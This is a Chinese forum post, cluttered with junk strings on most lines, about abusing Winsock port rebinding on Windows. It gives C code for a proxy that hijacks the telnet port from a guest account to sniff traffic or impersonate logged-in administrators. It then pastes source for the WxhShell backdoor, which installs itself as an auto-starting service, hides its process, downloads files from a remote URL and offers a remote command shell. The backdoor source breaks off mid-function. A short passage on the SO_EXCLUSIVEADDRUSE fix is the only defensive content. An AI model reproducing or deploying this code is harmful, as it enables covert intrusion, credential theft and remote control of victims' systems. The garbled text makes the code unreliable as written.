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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0[n c7)sW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W]@gQ (Ef  
1fz*S IjG  
  saddr.sin_family = AF_INET; ;;EDN45  
wF|0n t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Yw$a{5g  
 /6+1{p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !cq=)xR  
"C_T]%'Wm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !Gln Q`T  
5x*5|8  
  这意味着什么?意味着可以进行如下的攻击: f,St h7y  
E:uReT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L*zbike  
(NGu9uJs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (H&@u9K?a?  
qSFc=Wwc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vVI6m{zYV  
rPRrx-A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  38[)[{G)Hv  
cvZni#o2)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?j1_ n,d  
K^"w]ii=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I\}|Y+C$d/  
z=ML(1c=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OJv}kwV  
|BwRlE2CFO  
  #include RY9+ 9i  
  #include ]vm\3=@}9  
  #include BX@pt;$ek7  
  #include    q>^hoW2$C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @bY('gC,  
  int main() /h/6&R0l  
  { 1|o$X  
  WORD wVersionRequested; sCVI 2S!L  
  DWORD ret; (7IqY1W  
  WSADATA wsaData; <A)+|Y"^h6  
  BOOL val; Vo #:CB=8  
  SOCKADDR_IN saddr; jr9&.8%W:v  
  SOCKADDR_IN scaddr; LYp'vZ!  
  int err; Nc{]zWL9  
  SOCKET s; Uh>.v |P6  
  SOCKET sc; wb]*u7G t/  
  int caddsize; aGpCNc{+  
  HANDLE mt; Hl4\M]]/&  
  DWORD tid;   i\(\MzW*'  
  wVersionRequested = MAKEWORD( 2, 2 ); M(qxq(#{U  
  err = WSAStartup( wVersionRequested, &wsaData ); PKi_Zh.D  
  if ( err != 0 ) { CXTt(-FT  
  printf("error!WSAStartup failed!\n"); kGpV;F==*  
  return -1; /@Ez" ?V2  
  } >Z *iE"9"  
  saddr.sin_family = AF_INET; !tI=`Ml[  
   3DH.4@7P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pss6Oz8  
0eFb?Z0]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GP* +  
  saddr.sin_port = htons(23); 1 ojhh7<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9u?(^(.  
  { L59bu/LfL  
  printf("error!socket failed!\n"); ,!`SY)  
  return -1; :v`o6x8  
  } N;<//,  
  val = TRUE; <D;MT96SG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "LOnDa7E^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [#0Yt/G  
  { Yrpxy.1=F5  
  printf("error!setsockopt failed!\n"); 'V&2Xvl%  
  return -1; 7U,k 2LS  
  } T'8RkDI}-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &ik$L!iX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U| 8[#@r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oAY_sg+  
CD}Ns  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Yb}w;F8(  
  { gC`)]*'tE  
  ret=GetLastError(); Tj`yJ!0  
  printf("error!bind failed!\n"); ^\:yf.k  
  return -1; a'uU,Eb}#w  
  } /KAlK5<  
  listen(s,2); ?yp0$r/  
  while(1) _ENuwBYW-  
  { en>9E.?N  
  caddsize = sizeof(scaddr); s;J\Kc?"|  
  //接受连接请求 ]c}=5m/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eZNitGaU  
  if(sc!=INVALID_SOCKET) |1"!k A  
  {  Vu [:A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hY+R'9  
  if(mt==NULL) !h>D;k6 e  
  { R uLvG+  
  printf("Thread Creat Failed!\n"); }kE87x'  
  break; J='W+=N  
  } ]NtSu%u  
  } ]ZTcOf  
  CloseHandle(mt); Ib1e#M3  
  } h~w4, T  
  closesocket(s); W (`c  
  WSACleanup(); azo0{`S?  
  return 0; *zy'#`>  
  }   RlsVC_H\  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6 mO"  
  { O% -h&C3  
  SOCKET ss = (SOCKET)lpParam; 7 jjU  
  SOCKET sc; VFO \4:.  
  unsigned char buf[4096]; [?KJ9~+0  
  SOCKADDR_IN saddr; Y X*0?S  
  long num; /BpxKh2p  
  DWORD val; 1TjZ#yP%1  
  DWORD ret; <*u C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J{Tq%\a3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Zhzy.u/>  
  saddr.sin_family = AF_INET; ,-'4L9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6e.v&f7(  
  saddr.sin_port = htons(23); `U{mbw,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BDe]18X  
  { #dc1pfL!y{  
  printf("error!socket failed!\n"); HR60   
  return -1; `5'2Hg+  
  } t\r:E2 O  
  val = 100; &aPl`"j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %jEY 3q  
  { <tbZj=*O/o  
  ret = GetLastError(); i"HgvBHx  
  return -1; WA.AFt  
  } aV>aiR=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .0|=[|  
  { Q> 8pP\ho  
  ret = GetLastError(); rGlRAn#?,  
  return -1; s t/n"HQ  
  } \dq!q=b\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R#(G%66   
  { 4DLq}v  
  printf("error!socket connect failed!\n"); zX kx7d8  
  closesocket(sc); "+|L_iuNQ  
  closesocket(ss); s&'BM~WI  
  return -1; !gH 9ay  
  } q* !3C  
  while(1) K>1X}ZMdD(  
  { @(:v_l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hVP IHQt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 alm- r-Kb3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8$vK5Dnn8  
  num = recv(ss,buf,4096,0); `qiQ$kz  
  if(num>0) E=u/tpj  
  send(sc,buf,num,0); &Y7C0v  
  else if(num==0) ( 9$"#o  
  break; - 8bNQU  
  num = recv(sc,buf,4096,0); }rbZ&IN\?E  
  if(num>0) e*]r  
  send(ss,buf,num,0); ;GsQR+en  
  else if(num==0) /N)5 3!LT  
  break; 8LJ{i%  
  } !@g)10u  
  closesocket(ss); &|5GB3H =  
  closesocket(sc); },c,30V'  
  return 0 ; IfV  3fJ7  
  } Cd]/  
GBP-V66  
._ CP% R  
========================================================== <7n]Ai@Y  
:\yc*OtX  
下边附上一个代码,,WXhSHELL u3ZCT" !  
DQJG,?e{  
========================================================== &mE?y%  
I^3:YVR&  
#include "stdafx.h" &~-~5B|3"  
1S$h<RIPAc  
#include <stdio.h> Vq ^]s $'  
#include <string.h> !gP0ndRJ=  
#include <windows.h> Yck~xt&]  
#include <winsock2.h> N4UM82N  
#include <winsvc.h> 9z ?7{2C  
#include <urlmon.h> K:5eek  
*P2[qhP2  
#pragma comment (lib, "Ws2_32.lib") |n6Eg9  
#pragma comment (lib, "urlmon.lib") 8`v$liH  
%<Q*Jf  
#define MAX_USER   100 // 最大客户端连接数 27 GhE  
#define BUF_SOCK   200 // sock buffer cA;js;x@  
#define KEY_BUFF   255 // 输入 buffer uDuF#3 +"  
1u}nm;3  
#define REBOOT     0   // 重启 ^_>!B)  
#define SHUTDOWN   1   // 关机 orIQ~pF#  
jo98 jA<  
#define DEF_PORT   5000 // 监听端口 \u{8Bak0  
qpqokK  
#define REG_LEN     16   // 注册表键长度 \#dl6:"  
#define SVC_LEN     80   // NT服务名长度 Q M 1F?F  
F#V q#|_)>  
// 从dll定义API {G*QY%j^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GsV4ZZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u oVNK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qv#]81i(1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eN-au/kN  
BC/_:n8O  
// wxhshell配置信息 9=+-QdX+0]  
struct WSCFG { WZFH@I28  
  int ws_port;         // 监听端口 ;-@=  
  char ws_passstr[REG_LEN]; // 口令 }zMf7<C  
  int ws_autoins;       // 安装标记, 1=yes 0=no B|o%_:]+E  
  char ws_regname[REG_LEN]; // 注册表键名 >a>fb|r  
  char ws_svcname[REG_LEN]; // 服务名 R+=a`0_S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #y; yN7W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BW Uq%o,@g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &ITuyGmF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vRhnX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hs?zq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F^kwdS  
G<qIY&D'  
};  6sxz_f  
wu~hqd  
// default Wxhshell configuration U/w.M_S  
struct WSCFG wscfg={DEF_PORT, O\beKBT;  
    "xuhuanlingzhe", <GIwRVCU  
    1, raB+,Oi$G  
    "Wxhshell", 0[a}n6X Tk  
    "Wxhshell", P-Su5F  
            "WxhShell Service", %3=J*wj>D  
    "Wrsky Windows CmdShell Service", NHaMo*xQ  
    "Please Input Your Password: ", TD,nIgH`  
  1, RKkGITDk  
  "http://www.wrsky.com/wxhshell.exe", >PalH24]  
  "Wxhshell.exe" JMyTwj[7  
    }; f3PMVf:<  
U;^[$Aq  
// 消息定义模块 )0CQP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H;KDZO9W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @Hjea1@t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8X7{vN_3K  
char *msg_ws_ext="\n\rExit."; yTAvF\s$(  
char *msg_ws_end="\n\rQuit."; hWEnn=BW  
char *msg_ws_boot="\n\rReboot..."; H{`{)mS  
char *msg_ws_poff="\n\rShutdown..."; (M t5P  
char *msg_ws_down="\n\rSave to "; ]]uHM}l  
Q~,YbZ-7  
char *msg_ws_err="\n\rErr!"; #V_GOy1-  
char *msg_ws_ok="\n\rOK!"; }Uw#f@Wh  
e%6{ME 3  
char ExeFile[MAX_PATH]; cCdX0@hY  
int nUser = 0; *^XbDg9  
HANDLE handles[MAX_USER]; VcgBLkIF  
int OsIsNt; lAASV{s{  
%w"nDu2Gcv  
SERVICE_STATUS       serviceStatus; )ly ^Ox  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g`,AaWlF  
;Ss$2V'a  
// 函数声明 >1|g5  
int Install(void); -q>^ALf|@>  
int Uninstall(void); fEnQE EU~P  
int DownloadFile(char *sURL, SOCKET wsh); nkY@_N  
int Boot(int flag);  i g71/'D  
void HideProc(void); X>l*v\F9  
int GetOsVer(void); vzR=>0#  
int Wxhshell(SOCKET wsl); PEXq:TA  
void TalkWithClient(void *cs); %5B%KCCN  
int CmdShell(SOCKET sock); {]/8skov5]  
int StartFromService(void); Zz"}Cz:bX  
int StartWxhshell(LPSTR lpCmdLine); l I-p_K  
=xl~][  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zICI_*~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tJD] (F  
%FA@)?~  
// 数据结构和表定义 q~Jq/E"f  
SERVICE_TABLE_ENTRY DispatchTable[] = <[Oo*:A!7  
{ < K %j  
{wscfg.ws_svcname, NTServiceMain}, v 1.*IV5Y  
{NULL, NULL} rU\[SrIhz  
}; F]=B'ZI  
2C "=!'  
// 自我安装 M<`|CVl  
int Install(void) W{Q)-y  
{ pj{\T?(  
  char svExeFile[MAX_PATH]; =_d%=m  
  HKEY key; ]H[8Z|i""  
  strcpy(svExeFile,ExeFile); /9hR  
Fr:5$,At7-  
// 如果是win9x系统,修改注册表设为自启动 l (kr'x  
if(!OsIsNt) { P:!)9/.2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \V%_hl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 's%q  
  RegCloseKey(key); CEtR[Cu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?y%t}C\W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4ke^*g K<  
  RegCloseKey(key); b:MG@Hxc  
  return 0; "> 90E^  
    } t1i(;|8|  
  } [xaisXvI4  
} AtHS@p  
else { uofLhy!  
Pv){sYUh  
// 如果是NT以上系统,安装为系统服务 j}WByaZ&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h4`9Cfrq,  
if (schSCManager!=0) tYe:z:7l?<  
{ v 81rfB5  
  SC_HANDLE schService = CreateService 'gTmH[be  
  ( NPJ.+ph  
  schSCManager, t_c?Wp~tH  
  wscfg.ws_svcname, ;e{5)@h$  
  wscfg.ws_svcdisp, v Xcy#  
  SERVICE_ALL_ACCESS, 7_)|I? =0d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , At9X]t  
  SERVICE_AUTO_START, }T(z4P3  
  SERVICE_ERROR_NORMAL, G\~^&BAC  
  svExeFile, Fdt}..H%  
  NULL, )"u:ytK{  
  NULL, %+tV/7|F  
  NULL, &RY)o^g[4  
  NULL, S+I^!gT  
  NULL AV4~U:vU  
  ); dHII.=lT  
  if (schService!=0) 2$0)?ZC?=  
  { }Ik1bkK  
  CloseServiceHandle(schService); Q,e*#oK3$  
  CloseServiceHandle(schSCManager); i0Pn Z J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |B[eJq  
  strcat(svExeFile,wscfg.ws_svcname); ( $d4:Ww  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ps>&"k$T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [)|+F wJ  
  RegCloseKey(key); J!p<oW)a!  
  return 0; 0HibY[_PbD  
    } KD*O%@X5C  
  } u{C)qb5Pu  
  CloseServiceHandle(schSCManager); uHvaZMu  
} bZ5n,KQA5  
} MCy~@)-IN  
4rp6 C/i  
return 1; u''BP.Y S  
} ==9ZFdf  
@ss):FwA  
// 自我卸载 +R\~3uj[7  
int Uninstall(void) |63Y >U"  
{ Tg''1 Wl*  
  HKEY key; jnBC;I[:  
f=_g8+}h  
if(!OsIsNt) { {LB`)Kuu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { buY D l  
  RegDeleteValue(key,wscfg.ws_regname); z7=fDe -  
  RegCloseKey(key); >t #\&|9I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p;->hn~D'5  
  RegDeleteValue(key,wscfg.ws_regname); 5gK~('9'?1  
  RegCloseKey(key); >oY^Gx  
  return 0; -c={+z "  
  } pVG>A&4  
} 'JZ_  
} c@OP5L>{  
else { 8/q*o>[?  
O@,i1ha%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O),I[kb  
if (schSCManager!=0) _*`q(dYcf  
{ >q9{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O/9fuEF  
  if (schService!=0) `:5,e/5,  
  { Vy;_GfT$  
  if(DeleteService(schService)!=0) { T`Hw49  
  CloseServiceHandle(schService); +x]e-P%  
  CloseServiceHandle(schSCManager); - L`7+  
  return 0; k3yxx]Rk/  
  } 4ftj>O  
  CloseServiceHandle(schService); zoXuFg  
  } >hb- 5xC  
  CloseServiceHandle(schSCManager); v" FO  
} yJJ8 "s~i  
} d*9j77C]  
[V5-%w^  
return 1; CWMlZ VG  
} ~@fanR =  
OqEHM%j  
// 从指定url下载文件 RKk"  
int DownloadFile(char *sURL, SOCKET wsh) l $Zs~@N  
{ J/7 u7_  
  HRESULT hr; M?hFCt3Y  
char seps[]= "/"; <2)v9c  
char *token; i tW~d  
char *file; 8b~7~VCk  
char myURL[MAX_PATH]; C->[$HcRa  
char myFILE[MAX_PATH]; T&*eOr  
:BDviUC7Z  
strcpy(myURL,sURL); C$y fMK,,N  
  token=strtok(myURL,seps); G5+]DogS  
  while(token!=NULL) 7b,AQ9  
  { G>j "cj  
    file=token; +V89J!7  
  token=strtok(NULL,seps); S41)l!+2  
  } f#c BQ~  
=U_ @zDD@V  
GetCurrentDirectory(MAX_PATH,myFILE); B>aEH b  
strcat(myFILE, "\\"); @`2ozi~lO  
strcat(myFILE, file); ] - h|]  
  send(wsh,myFILE,strlen(myFILE),0); c}\ d5R_L  
send(wsh,"...",3,0); 0gi}"v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #VR`?n?,  
  if(hr==S_OK) ]E..43  
return 0; l~{T#Q  
else qL~Pjr>cF  
return 1; /0!$p[cjm  
v/(__xN`B  
} TP^\e_k  
lmp R>@o"  
// 系统电源模块 !$XO U'n  
int Boot(int flag) G`WzJS*}v  
{ #nDL  
  HANDLE hToken; 5Wl,J _<F  
  TOKEN_PRIVILEGES tkp; (ai72#nFtb  
C64eDX^  
  if(OsIsNt) { EKJH_!%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IjgBa-o/V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MIJ%_=sm4:  
    tkp.PrivilegeCount = 1; 8ZzU^x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5I_hh?N4Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "pl[(rc+u  
if(flag==REBOOT) { %rX\ P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [L)V(o)v  
  return 0; Z%A<#%    
} :e52hK1[T  
else { -ca]Q|m8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZS|Z98  
  return 0; ,Zr  YJ<  
} +Hi{ /{k0N  
  } +*Q9.LjV  
  else { [)bz6\d[  
if(flag==REBOOT) { oRV] p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l.yJA>\24I  
  return 0; Hv+:fr"  
} [lrmuf  
else { wsna5D6i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8L@UB6b\  
  return 0; jCam,$oE  
} 5Bzuj`  
} .v$ue`  
[v~Uy$d\  
return 1; dcM+ylB  
} VQ/ <09e  
*%z<P~}  
// win9x进程隐藏模块 2>`m<&y  
void HideProc(void) ^glbxbhI4  
{ U8Cw7u2  
pC55Ec<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lxr@[VQ  
  if ( hKernel != NULL ) ~4}*Dhsh  
  { he_HVRpB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d#RF0,Y9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 38OIFT  
    FreeLibrary(hKernel); Z={UM/6w  
  } OME!W w  
/0X0#+kn  
return; dawVE O  
} LAOdH/*:  
z2"2tFK  
// 获取操作系统版本 W8\PCXnsfl  
int GetOsVer(void) 3T Yo  
{ xuw//F  
  OSVERSIONINFO winfo; <x.]OZgO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^Osd/g  
  GetVersionEx(&winfo); $#g#[ /  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qYQUr8{  
  return 1; xF2f/y   
  else N}eU.#L  
  return 0; Y*h`),  
} c4FOfH|  
oC ^z_AtZ  
// 客户端句柄模块 |% la  
int Wxhshell(SOCKET wsl) eYnLZ&H5O  
{ k4]R]=Fh.  
  SOCKET wsh; +5N^TnBtBL  
  struct sockaddr_in client; KzxW?Ji$S  
  DWORD myID; mkKRC;  
rjhs ?  
  while(nUser<MAX_USER) 'Y,+D`&i)  
{ )< X=z  
  int nSize=sizeof(client); PxdJOtI"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ft*G*.0kO  
  if(wsh==INVALID_SOCKET) return 1; rPrEEWS0)  
iT)2 ?I6!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mmh nw (/  
if(handles[nUser]==0) Q#d+IIR0gK  
  closesocket(wsh); x`/m>~_  
else z|oA{VxW>  
  nUser++; <yX@@8  
  } h$:&1jVY{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /It.>1~2@  
FE^?U%:u@  
  return 0; D0,oml  
} =rs=8Ty?S  
SF78 s:_!_  
// 关闭 socket :BC<+T=  
void CloseIt(SOCKET wsh) z22|Kv;w  
{ 2- |j  
closesocket(wsh); zEA{%)W  
nUser--; Ply2DQr  
ExitThread(0); RBHqLg(  
} YGZAtSf3z  
XACEt~y  
// 客户端请求句柄 [hvig$L  
void TalkWithClient(void *cs) &</ @0  
{ C {H'  
3P<Zzt%eT  
  SOCKET wsh=(SOCKET)cs; ^*4(JR   
  char pwd[SVC_LEN]; 7J)a"d^e  
  char cmd[KEY_BUFF]; T3B |r<>I  
char chr[1]; J$eZLj  
int i,j; ^$Me#ls!  
$bM#\2'  
  while (nUser < MAX_USER) { ta+"lM7A}$  
L?/M2zc9Y  
if(wscfg.ws_passstr) { Bm2}\KOI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1^Y:XJ73  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UJyiRP:#]>  
  //ZeroMemory(pwd,KEY_BUFF); b(.o|d/P  
      i=0; yx`r;|ds}  
  while(i<SVC_LEN) { ]#WX|0''^  
JsoWaD  
  // 设置超时 f;qKrw  
  fd_set FdRead; hVQ+ J!qD  
  struct timeval TimeOut; ttJ:[ R'  
  FD_ZERO(&FdRead); -* -zU#2|  
  FD_SET(wsh,&FdRead); ix_$Ok  
  TimeOut.tv_sec=8; LRLhS<9  
  TimeOut.tv_usec=0; uDMUy"8&!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z; z'`A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k6 h^  
A16-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u3ri6Y`  
  pwd=chr[0]; wft:eQ  
  if(chr[0]==0xd || chr[0]==0xa) { /Va&k4  
  pwd=0; SgQmYaa&  
  break; C[/U y  
  } NVM2\fs  
  i++; @'G ( k;  
    } (B?xq1Q  
&VBD2_T  
  // 如果是非法用户,关闭 socket SieV%T0t1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 13NS*%~7[  
} pC?1gc1G  
2L{:H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C#u)$Ds  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p~{%f#V  
2 3XAkpzp$  
while(1) { B?zS_Ue  
kgI.kT(=  
  ZeroMemory(cmd,KEY_BUFF); 1(\I9L&J   
MCO$>QL  
      // 自动支持客户端 telnet标准   :_b =Km<  
  j=0; 'E6gEJ  
  while(j<KEY_BUFF) { Am}PXj6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7n3x19T  
  cmd[j]=chr[0]; oXZ@*   
  if(chr[0]==0xa || chr[0]==0xd) { &rtz&}ZB;  
  cmd[j]=0; A`ertSlbhe  
  break; N*4IxY'vX/  
  } uq1(yyWp(  
  j++; k-Hfip[ro  
    } 9p0HFri[  
g he=mQ-  
  // 下载文件 ,-NLUS "w  
  if(strstr(cmd,"http://")) { YH'.Yj2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :!*;0~#  
  if(DownloadFile(cmd,wsh)) uu46'aT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eRWF7`HH+  
  else W*WH .1&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ->#@rF:S  
  } UOL%tT  
  else { yl;$#aZB  
mjr{L{H=?+  
    switch(cmd[0]) { ,EJ [I^  
  DD{@lM\vc  
  // 帮助 )<&CnK  
  case '?': { !5 :1'$d]H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /iJhCB[QZ  
    break; ?ia[KLt"  
  } m_O=X8uj"D  
  // 安装 'MM~ ~:  
  case 'i': { {m*J95[   
    if(Install()) 'H-YFB$l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t6>Q e  
    else SvpTs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U3iyuE  
    break; zyQEz#O   
    } ~$&r(9P  
  // 卸载 |k9j )Hg(  
  case 'r': { $TW+LWb   
    if(Uninstall()) $ax%K?MBD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vh{1u  
    else b(rBha|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3<Y;mA=hw  
    break; sn-+F%[  
    } :usBeho  
  // 显示 wxhshell 所在路径 IXk'?9  
  case 'p': { */h 9"B  
    char svExeFile[MAX_PATH]; N#-\JlJ)  
    strcpy(svExeFile,"\n\r"); 9'L0Al~L  
      strcat(svExeFile,ExeFile); Q X5#$-H@  
        send(wsh,svExeFile,strlen(svExeFile),0); f$*9J  
    break; o2U J*4  
    } z\ $>k_  
  // 重启 gJfL$S'w  
  case 'b': { 8Nq Iz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -bX.4+U  
    if(Boot(REBOOT)) -(,6w?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {mr)n3  
    else { OMC|.[  
    closesocket(wsh); Kpbbe r  
    ExitThread(0); @<{ #v.T  
    } wI]>0geb*  
    break; hp%Pg &  
    } lcJumV=%>  
  // 关机 +OP:"Q_#  
  case 'd': { ,]N%(>ot  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [ESs?v$  
